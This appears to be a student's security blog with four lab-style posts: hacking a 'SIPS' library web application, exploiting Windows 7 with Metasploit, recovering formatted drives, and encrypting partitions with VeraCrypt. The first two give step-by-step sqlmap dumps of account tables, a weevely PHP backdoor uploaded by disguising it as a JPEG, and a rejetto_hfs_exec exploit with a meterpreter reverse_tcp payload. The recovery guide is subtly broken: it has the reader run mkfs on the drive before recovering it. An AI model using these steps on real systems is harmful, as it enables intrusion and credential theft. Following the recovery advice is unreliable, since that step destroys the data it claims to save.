numberseventeen

how to hack SIPS web application ???

first, you must open the web application it self.
in this case you know the IP address of web server,
you start with firs step, Information gathering.
you can use nmap to find data about web that IP address. you will know what port and application running in OS target.

after you know about server use nmap.
you must know about web application,
you must try any menu in there.
you will know about vulner that web application, like sql injection, xss etc.

after you know about SE and VA, the next step you try infiltrate to the web application server
to do that, you must log in to one of web application user. you dan log in as member or admin .
in this case, i will show you to log in use sql injection vulnerbility.

to use sql command injection you must intercept data packet from users to server.
you must start buro suit and run intercept in proxy.
dont forget to activate your proxy in webrowser.
if you already get the data packet yhrough intercept, next you must save it in file.

go to terminal, type sqlmap command to hack their database.

sqlmap -l (file name of data packet)

tools are running to scan vulnerabilty from database through parameter their had.
if paraneter was inject. you can see current database in there

sqlmap -l (file name) --current-db

after you know that database which running now is "sips"
next step you should see the table inside "sips" database...

sqlmap -l (file name) -D sips -- tables


you will see the table like beside

next step, you must find the users and password to log in as users.
in that table you can see there are 2 tables about acount.
member account and admin account.

for example, you will log in as admin.
you must find the account in pegawai table

sqlmap -l (file name) -D sips -T pegawai --dump

now, you know account of pegawai.

you can log in as pegawai through type the username and password that list in the table

same if you want to log in as a member, you find anggota account in sips database.

sqlmap -l (file name) -D sips -T anggota --dump

then you type type the username and password that list in the table

after you log in as a member. you gathering information about member page.
what running application and that vulnerability.
maybe you will find command execution, upload, xss etc.
in this case, we will atack target from upload, because there are find upload menu.

we must check what thing that can we upload before.
we get information that format jpeg only which can be upload.
we generate backdoor with weevely in jpeg file format.

weevely generate 1234 (file name).jpeg

we upload the file, before we click upload.
we start intercept in burp suit. why?
because we must still send the backdoor in file format php.
if in jpeg format the backdoor can not operate.
before the data packet was accept in server. we change the file format to php, then forward that data packet

upload was succed

then you must find the location of picture upload in web server, we can know from notification that show when we upload the picture. other ways, we right click picture in one of page, show picture information or address.




weevely http://192.168.1.112/perpustakaan/images/(file name.jpeg 1234

and you already come to webserver target in /var/www/ data.

find the account data like username and password as a administrator.

we can ussually find them in the file that name related about index.php or connection,php.

because index.php ussualy use to give name for first page of web application that include log in page

or connection php because you know from the name, file that include user name and password to connect to server

you can use the usrname and password to previllage excallation to root through ssh command in terminal.

but, because the task is to find where the rahasia.txt file was.

you just to find them with cd and ls command to know the file location

thanx 4 ur attention....good luck

numbersixteen

how to exploitation windows 7 use mfsconsole

in this case, we set a few thing. first, we and the computer target is already in same network. second, we already know about computer target IP number.
 

first step if we want to infiltrate and get information fron target, we should collecting data about it. this step is call Information gathering. we can use nmap to gathering information about target with that ip number.

nmap -A (IP number)

you will see the information about target computer like OS, Host name, open port, running service
and traceroute. the conclusion is nmap not only use to gathering information but to know about service enumeration too in second step.



in third step or vulnerability accesment you can use nessus to scan about vulner of running application. you can use any tools other for do that. if your sacnning tool not find vulnerability, you have to try check one by one about vulnerability of running application.
next step is exploitation. we use metasploit frame work to exploitation the target.

msfconsole then click enter.

for example, in nmap you find HTTPFileServer as one of running service in computer target. you can search that file exploit

search HttpFileServer then click enter


use that exploit by type

use exploit/windows/http/rejetto_hfs_exec

fill or set RHOST, RPORT, SRVHOST, SRVPORT then set PAYLOAD

set PAYLOAD windows/meterpreter/reverse_tcp
 

fill or set LHOST and LPORT

after all of option was filled. then type

exploit than clikck enter

to running the backdoor and payload

if it process is sucess, you will see the sessions are open and the main text command will change from module name to "meterpreter"

you must migrate to active PID. and get what information you want in computer target.

numberfifteen

how to recovery your data in storage media if the data was formatted...

we assumpted we have a flash disk or external hard disk, accidentally you lost data because the media was formated, how to recovery or bring back your data.

in the last meet, we discuss about data securing, how to safe your data in order not to be read and writen by other people. we use veracript to encrypt data. in this recovery case, it is not appicable for data which use veracrypt.

if our flash disk used vercrypt before, we need to format that.
check yor media storage in you computer.
fdisk -l then click enter
you will show any storage media, sda is in your internal computer, sdb etc is external storage media, for ex flash disk is sdb1. check the storage media
cfdisk /dev/sdb then click enter

you will sho page like beside, we want to format this media,

choose delete

all of data in flash disk will dissapear or be formated
to reuseful the flash disk
choose new

then...

choose primary

because we want to use yhi flash disk again..

choose write

and type yes to confirmed your order

the proccess is over, the flash disk was be formated and will use again.

to continue the action, choose quit






storage media that want to be recovered is have data inside then was lost because deleted or formated. how to bring back that data....
in this meet we will discuss two ways. in real there are many ways to recovery data, but we just discuss use testdisk and photorec...

testdisk

open your media storage

mkfs fat /dev/sdb1/

open testdisk

testdisk /dev/sdb1 then click enter

choose media that want to recovery

then choose procced

choose the partittion that you want to recovery, if in your flash disk have one partition only, yoou choose none.

choose the process do you want...
analysis all data or just recover by advance mode

choose undeletes to recovery your data

choose data that you want to bring back. if you want one oh them. you choose a one and clicki "c".
if you want all of data recovery, you must click "a" then "c"

your lost data are back and you ccan  read write and use one.

photorec

open photorec

photorec /dev/sdb1 then click enter

choose media that want to recovery

then choose procced

choose the partittion that you want to recovery,
choose search

choose the file system, if you use fat, linux etc. choose one appopriate your file system

choose file that you want to recovery,
if you want all of data recovery, you choose "whole"

choose destination file location. that your rcovery file will save

running process, automatically recovery all of your data

finished process and you will see the recovery data in directory address that computer shown.

numberforteen

how to safe your data in information system ?

in last meet, we talk about the way to infiltrate and exploitation system or web apllication. now we start learn to safe our data from attackers. how to defend and increase our data security. some tools we can use to do that like vera script and thunderbird.

veracypt...

veracrypt is one of tool aplication that function is to encrypte partition of data in your computer or your storage media like hard disk and flash disk external. the partition will be encrypted so any other people can not open or read your partition even the parttion will be unvision in your mount system, you must use coommand in terminal to see existance of partition, so if you want to open and read that you must entry the password or code.

 

 first, you must have the file data of veracrypt. you can get them from downloading in internet or you transfering data from your friend.
save veracrypt file in your computer and install. 
check the file, if in tar format, extract them. 

tar xzvf (file name)

and if the file cannot install, check the the ability file (read write execute) and change to able all of command.

ls -l
chmod 777 (file name

go to file location  and install 

./(file name)

the installation of file is running, you will show the command table like beside...
if you want make a new "secret" new partition then you fill the contains, you choose the first,
but if you want to safe you running partition that you had, you choose the second one...

 



choose 
 standard verascrypt volume

choose the partition that you want to encrypt.
sda mean your internal computer partition
sdb-etc mean your external storage media like hard disk flash disk floppy disk etc.

entry your password and confirmed,

choose filesystem type

FAT means you can open that file in windows or linux os

linux means you can only open the file in linux os

format file

the partition is already to encrypted

how to read the file which ecrypted with verascrypt

search the verascrypt application in your computer, run it

 click select device

 choose the partition that you want to decrypt.
sda mean your internal computer partition
sdb-etc mean your external storage media like hard disk flash disk floppy disk etc.
 

 fill the blank table then click mount

 entry the password of veracrypt

device or partition will be decript, open and ready to use.